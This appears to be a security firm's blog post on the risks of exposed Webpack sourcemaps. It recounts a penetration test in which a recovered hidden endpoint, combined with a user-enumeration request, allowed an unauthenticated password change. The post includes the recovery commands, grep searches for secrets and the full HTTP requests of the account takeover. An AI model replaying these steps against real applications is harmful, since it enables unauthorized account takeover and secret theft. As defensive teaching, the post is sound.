Abusing Exposed Sourcemaps

Information stored in sourcemap files can lead to major security breaches. If you’re looking to keep your production environment safe without sacrificing the benefits of modern build pipelines, read on.

Abusing Exposed Sourcemaps

Modern web development often relies on build tools like Webpack to bundle and minify JavaScript, which improves performance but can also introduce unexpected security risks—especially if sourcemap files are left exposed. These files contain detailed information about your original code, including potential secrets, hidden endpoints, and internal logic that attackers can exploit if they fall into the wrong hands.

Along the way, we’ll explore a real-world example of how Webpack sourcemaps revealed an undocumented endpoint, enabling unauthorized password changes and account takeovers.
Finally, we'll discuss concrete steps you can take to mitigate these risks, such as securing or removing sourcemaps in production, disabling hidden endpoints, and stripping out unnecessary debug info before deployment. 

|If you’re looking to keep your production environment safe without sacrificing the benefits of modern build pipelines, read on.


Lazy Summary

🗺️
Sourcemap files may expose hidden functions
An overlooked .map file may inadvertently expose secrets or hidden functions—growing the attack surface. Because .map files may reveal sensitive debugging information—such as endpoints, internal logic, or credentials—it’s important to include them in test cases.
🗿
Obscurity is not security
In many production environments, a function that isn’t visible in the user interface (e.g., updateUserData) can still be accessible on the backend. Attackers may discover and exploit such functions even if they appear "hidden" to regular users.
🔰
Mitigation Musts
Remove or secure sourcemaps in production.
Disable unused/hidden endpoints.
Strip unnecessary debug info before deployment.

What are Sourcemaps?

Sourcemaps are JSON-based mapping files that link minified or bundled JavaScript code back to its original source files. When JavaScript is transpiled, minified, or bundled for production, the original source code becomes difficult to read. Sourcemaps act as a reverse mapping layer, enabling developers to trace errors in production code back to their original source files.

Sourcemaps are essential in modern web development environments, where JavaScript code is often:

They allow browser DevTools to reconstruct and display the original, unminified code, even though the browser executes the minified version. Benefits include:

  • Make it possible to debug production errors effectively.
  • Inspect original variable names and function names rather than cryptic, minified identifiers (e.g., calculateTax() instead of a()).
  • Step through the original source code in browser DevTools, avoiding the need to interpret unreadable compressed code.

Webpack (which I'll focus on in this post) can generate sourcemaps in different formats, offering various trade-offs between build speed, debugging accuracy, and performance. The most common options include:

  • eval-source-map
    Fastest for development but not recommended for production.
  • source-map
    Provides full mapping and is suitable for production debugging, but should not be exposed publicly.
  • hidden-source-map
    Generates a source map but does not expose it to the browser, useful for logging errors in production.
  • cheap-module-source-map
    A balance between build speed and debugging accuracy.

Webpack follows the Sourcemap V3 specification, which includes key metadata fields:

  • version – The format version (typically 3).
  • file – The name of the generated output bundle (e.g., app.js).
  • sources – An array of original source file paths (e.g., src/utils/auth.js).
  • names – An array of variable and function names, mapping minified identifiers to their original names.
  • sourcesContent(Optional and potentially risky) Stores the full content of the original source files within the sourcemap. If exposed publicly, this can leak proprietary code.

Sourcemaps as Vulnerabilities

While essential for debugging, sourcemaps pose significant risks if exposed in production. Sensitive data—such as hardcoded API endpoints, authentication logic, or proprietary algorithms—can leak if sourcemaps are publicly accessible. A common misconfiguration involves enabling sourcemap generation in production Webpack builds.

For example: A devtool: 'source-map', which appends a //# sourceMappingURL comment to the bundle, explicitly linking to the .map file. Even with devtool: 'hidden-source-map' (which omits the comment), servers may unintentionally deploy .map files to public directories, allowing attackers to guess filenames (e.g., app.js.map) and retrieve them unless access is explicitly blocked.

Attackers often use both automated and manual methods to exploit exposed sourcemaps. Attacks typically involve web crawlers and scrapers that look for .map files on public websites. They may use search queries like site:example.com filetype:map to locate sourcemaps indexed by search engines, or systematically check common paths such as https://example.com/static/js/app.js.map. Once a .map file is found, attackers parse it, reconstruct the original code, and scan for sensitive information (e.g., API keys, JWT secrets, or database credentials) using regular expressions or other pattern-matching techniques.

Because sourcemaps simplify the reconstruction of minified JavaScript, they can reveal function names, business logic, and even security mechanisms. For instance, if token generation logic appears in the sourcemap, attackers could recreate or hijack tokens. They might also uncover private API endpoints and internal security mechanisms that lead to deeper penetration.

In one documented case by Prodefense.io, ethical hacker Matthew Keeley discovered a major vulnerability caused by sourcemaps being accidentally included in a production build. Though intended for debugging, these .map files were publicly accessible, allowing Keeley to reconstruct (using Sourcemapper) the JavaScript. He then found hardcoded Stripe API secret keys, which permitted unauthorized payments.

Exploitation Example

During a recent security engagement, we discovered exposed Webpack sourcemaps on a target application. We immediately reviewed the .map file for any sensitive information or hidden features. Because the file was publicly accessible, we extracted its contents using the unwebpack-sourcemap tool. We installed this tool by cloning its repository and configuring the required dependencies:

git clone https://github.com/rarecoil/unwebpack-sourcemap
cd unwebpack-sourcemap
pip3 install -r requirements.txt

With the tool set up, we processed the .map file to retrieve the original JavaScript source code:

./unwebpack_sourcemap.py https://example.com/source.map output

We then reviewed the extracted files for sensitive information like hardcoded secrets, API keys, and internal API endpoints. We ran quick keyword searches such as:

grep -r "API_KEY" output/
grep -r "password" output/

During manual analysis, we discovered that the sourcemap contained JavaScript with function names, variable names, and comments revealing internal application logic. Notably, we found a previously unreferenced function named updateUserData, which sends a request to /user/update-user-data using parameters such as email, password, and accessToken:

{
  key: "updateUserData",
  value: function updateUserData(account, userId, email, firstName, lastName, password, accessToken) {
    var path = '/user/update-user-data';
    var body = {
      account: account,
      userId: userId,
      email: email,
      firstName: firstName,
      lastName: lastName,
      password: password,
      accessToken: accessToken
    };
    return this.request.post(body, path);
  }
}

The user interface relied on a different API endpoint for updating user data, so updateUserData did not appear in any documented workflow. However, it still resided in the bundled JavaScript files, suggesting that we could access it directly and test this undocumented method for modifying user data.

We next verified whether the /user/update-user-data endpoint was active. Although the application did not directly use this function, we needed to check if the endpoint was still reachable. We sent an unauthenticated POST request:

POST /user/update-user-data HTTP/2
Host: example.com
Content-Type: application/json

{
  "account": "",
  "userId": "",
  "email": "",
  "firstName": "",
  "lastName": "",
  "password": "",
  "accessToken": ""
}

The server returned a 400 Bad Request response, indicating that the endpoint required specific parameters but was indeed functional. This confirmed that /user/update-user-data remained an active endpoint, not just a leftover in the code.

Daisy Chaining for Account Takeover

We then exploited a user enumeration vulnerability on the /account/user-lookup/ endpoint to retrieve a valid user ID and email address:

Request

POST /account/user-lookup/ HTTP/2
Host: example.com
Content-Type: application/json

{
  "query": "pentester@sentry.security"
}

Response

{
  "status": "FOUND_USER_BY_EMAIL",
  "email": "pentester@sentry.security",
  "name": "Pentester Sentry",
  "userId": "5beb4e06431dd800e25e8e48"
}

This response confirmed the account’s existence and revealed its userId. Armed with the userId and email address, we sent a crafted request to /user/update-user-data, specifying new details like the user’s first name, last name, and password:

POST /user/update-user-data HTTP/2
Host: example.com
Content-Type: application/json

{
  "account": "",
  "userId": "5beb4e06431dd800e25e8e48",
  "email": "pentester@sentry.security",
  "firstName": "Pentester-UPDATE",
  "lastName": "Sentry",
  "password": "newpassword123",
  "accessToken": ""
}

The server responded with HTTP/2 200 OK, issued a new accessToken, and confirmed that the update succeeded. Jackpot! 💰

Mitigation Steps

  1. Review Webpack Configuration: Avoid exposing sourcemaps in production. If sourcemaps were needed for debugging in production, they should have been secured behind authentication or restricted to trusted sources.
  2. Disable Unmaintained Endpoints: Any endpoints that were no longer in active use should be disabled or removed to prevent potential attacks. This includes any hidden or unreferenced functions that might inadvertently be exposed through code bundles.

Final Thoughts

Sourcemaps are extremely useful for debugging during development, but they can pose a security risk if not handled properly in production. To protect applications from vulnerabilities, it's essential to manage sourcemaps securely and disable any unreferenced endpoints.

Where to Go Next:

  • Stay updated on security best practices by following the Sentry Blog for more insights on application security.
  • Ready to boost application security? Schedule a consultation with security experts today!

Application Penetration Testing

With over 1,400 successful security assessments, our industry-recognized experts are at the forefront of application security. Our team is certified, extensively trained, and ready to help you achieve your security goals.

Book your free 30-Minute Consultation